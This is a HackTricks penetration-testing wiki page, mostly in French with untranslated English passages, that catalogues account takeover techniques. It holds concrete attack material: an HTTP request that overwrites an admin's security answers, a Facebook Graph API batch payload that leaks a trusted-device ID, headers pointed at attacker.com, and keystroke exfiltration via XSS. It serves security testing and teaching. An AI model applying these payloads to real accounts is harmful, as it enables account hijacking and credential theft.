Prise de contrôle de compte

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Problème d’autorisation

L’email d’un compte devrait être tenté d’être changé, et le processus de confirmation doit être examiné. S’il est jugé faible, l’email devrait être changé pour celui de la victime visée puis confirmé.

Problème de normalisation Unicode

  1. Le compte de la victime visée victim@gmail.com
  2. Un compte devrait être créé en utilisant Unicode
    par exemple: vićtim@gmail.com

Comme expliqué dans this talk, l’attaque précédente peut aussi être réalisée en abusant de fournisseurs d’identité tiers :

  • Créer un compte auprès du fournisseur d’identité tiers avec un email similaire à celui de la victime en utilisant un caractère unicode (vićtim@company.com).
  • Le fournisseur tiers ne devrait pas vérifier l’email.
  • Si le fournisseur d’identité vérifie l’email, peut-être pouvez-vous attaquer la partie domaine comme : victim@ćompany.com et enregistrer ce domaine en espérant que le fournisseur d’identité génère la version ascii du domaine tandis que la plateforme victime normalise le nom de domaine.
  • Se connecter via ce fournisseur d’identité sur la plateforme victime qui devrait normaliser le caractère unicode et vous permettre d’accéder au compte de la victime.

Pour plus de détails, référez-vous au document sur la Normalisation Unicode :

Unicode Normalization

Réutilisation du reset token

Si le système cible permet de réutiliser le lien de réinitialisation, il faut tenter de trouver d’autres liens de réinitialisation en utilisant des outils tels que gau, wayback, ou scan.io.

Pré-prise de contrôle

  1. L’email de la victime devrait être utilisé pour s’inscrire sur la plateforme, et un mot de passe devrait être défini (une tentative de confirmation devrait être effectuée, bien que l’absence d’accès aux emails de la victime puisse rendre cela impossible).
  2. Il faut attendre que la victime s’inscrive via OAuth et confirme le compte.
  3. On espère que l’inscription classique sera confirmée, permettant d’accéder au compte de la victime.

Mauvaise configuration CORS menant à une prise de contrôle de compte

Si la page contient des CORS misconfigurations vous pourriez être capable de voler des informations sensibles de l’utilisateur pour prendre le contrôle de son compte ou le faire modifier des informations d’authentification pour le même but :

CORS - Misconfigurations & Bypass

CSRF pour prise de contrôle de compte

Si la page est vulnérable à CSRF vous pourriez être capable de faire modifier le mot de passe, l’email ou l’authentification de l’utilisateur afin d’y accéder ensuite :

CSRF (Cross Site Request Forgery)

XSS pour prise de contrôle de compte

Si vous trouvez un XSS dans l’application vous pourriez être capable de voler cookies, local storage, ou des informations de la page web qui pourraient vous permettre de prendre le contrôle du compte :

XSS (Cross Site Scripting)

  • Attribute-only reflected payloads on login pages can hook document.onkeypress, exfiltrate keystrokes through new Image().src, and steal credentials without submitting the form. See Attribute-only login XSS behind WAFs for a practical workflow.

Same Origin + Cookies

Si vous trouvez un XSS limité ou un subdomain take over, vous pouvez jouer avec les cookies (les fixer par exemple) pour tenter de compromettre le compte de la victime :

Cookies Hacking

Attaquer le mécanisme de réinitialisation de mot de passe

Reset/Forgotten Password Bypass

Réinitialisations par question de sécurité qui font confiance aux usernames fournis par le client

Si un flux « update security questions » prend un paramètre username bien que l’appelant soit déjà authentifié, vous pouvez écraser les données de récupération de n’importe quel compte (y compris les admins) parce que le backend exécute typiquement UPDATE ... WHERE user_name = ? avec votre valeur non fiable. Le schéma est :

  1. Log in with a throwaway user and capture the session cookie.
  2. Submit the victim username plus new answers via the reset form.
  3. Immediately authenticate through the security-question login endpoint using the answers you just injected to inherit the victim’s privileges.
POST /reset.php HTTP/1.1
Host: file.era.htb
Cookie: PHPSESSID=<low-priv>
Content-Type: application/x-www-form-urlencoded

username=admin_ef01cab31aa&new_answer1=A&new_answer2=B&new_answer3=C

Anything gated by the victim’s $_SESSION context (admin dashboards, dangerous stream-wrapper features, etc.) is now exposed without touching the real answers.

Les noms d’utilisateur énumérés peuvent ensuite être ciblés via la technique d’écrasement ci-dessus ou réutilisés contre des services auxiliaires (FTP/SSH password spraying).

Response Manipulation

Si la réponse d’authentification peut être réduite à un simple booléen, essayez simplement de changer false en true et voyez si vous obtenez un accès.

OAuth to Account takeover

OAuth to Account takeover

Host Header Injection

  1. The Host header is modified following a password reset request initiation.
  2. The X-Forwarded-For proxy header is altered to attacker.com.
  3. The Host, Referrer, and Origin headers are simultaneously changed to attacker.com.
  4. After initiating a password reset and then opting to resend the mail, all three of the aforementioned methods are employed.

Response Manipulation

  1. Code Manipulation: Le code d’état est modifié en 200 OK.
  2. Code and Body Manipulation:
  • Le code d’état est changé en 200 OK.
  • Le corps de la réponse est modifié en {"success":true} ou en un objet vide {}.

Ces techniques de manipulation sont efficaces dans les scénarios où le JSON est utilisé pour la transmission et la réception de données.

Change email of current session

From this report:

  • L’attaquant demande le changement de son e-mail pour une nouvelle adresse
  • L’attaquant reçoit un lien pour confirmer le changement d’e-mail
  • L’attaquant envoie le lien à la victime pour qu’elle clique dessus
  • L’e-mail de la victime est changé pour celui indiqué par l’attaquant
  • L’attaquant peut récupérer le mot de passe et prendre le contrôle du compte

This also happened in this report.

Bypass email verification for Account Takeover

  • L’attaquant se connecte avec attacker@test.com et vérifie l’e-mail lors de l’inscription.
  • L’attaquant change l’e-mail vérifié en victim@test.com (no secondary verification on email change)
  • Maintenant le site permet à victim@test.com de se connecter et nous avons contourné la vérification d’e-mail de l’utilisateur victime.

Old Cookies

Comme expliqué in this post, il était possible de se connecter à un compte, de sauvegarder les cookies en tant qu’utilisateur authentifié, de se déconnecter, puis de se reconnecter.
Avec la nouvelle connexion, bien que de nouveaux cookies puissent être générés les anciens ont recommencé à fonctionner.

Trusted device cookies + batch API leakage

Long-lived device identifiers that gate recovery can be stolen when a batch API lets you copy unreadable subresponses into writable sinks.

  • Identify a trusted-device cookie (SameSite=None, long-lived) used to relax recovery checks.
  • Find a first-party endpoint that returns that device ID in JSON (e.g., an OAuth code exchange returning machine_id) but is not readable cross-origin.
  • Use a batch/chained API that allows referencing earlier subresponses ({result=name:$.path}) and writing them to an attacker-visible sink (page post, upload-by-URL, etc.). Example with Facebook Graph API:
POST https://graph.facebook.com/
batch=[
{"method":"post","omit_response_on_success":0,"relative_url":"/oauth/access_token?client_id=APP_ID%26redirect_uri=REDIRECT_URI","body":"code=SINGLE_USE_CODE","name":"leaker"},
{"method":"post","relative_url":"PAGE_ID/posts","body":"message={result=leaker:$.machine_id}"}
]
access_token=PAGE_ACCESS_TOKEN&method=post
  • Chargez le batch URL dans un <iframe> caché pour que la victime envoie le trusted-device cookie ; la référence JSON-path copie machine_id dans le post contrôlé par l’attaquant même si la réponse OAuth est illisible pour la page.
  • Replay: mettez le stolen device cookie dans une nouvelle session. Recovery considère maintenant le browser comme trusted, exposant souvent des flux plus faibles “no email/phone” (e.g., automated document upload) permettant d’ajouter un attacker email sans password ni 2FA.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks